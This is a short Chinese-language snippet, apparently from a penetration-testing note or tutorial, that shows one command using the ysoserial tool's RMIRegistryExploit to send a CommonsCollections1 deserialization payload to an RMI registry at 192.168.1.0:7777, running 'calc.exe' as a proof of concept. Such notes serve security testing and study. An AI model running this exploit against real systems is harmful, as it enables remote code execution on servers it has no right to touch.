使用ysoserial工具向RMI服务器发送payload
java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit 192.168.1.0 7777 CommonsCollections1 "calc.exe"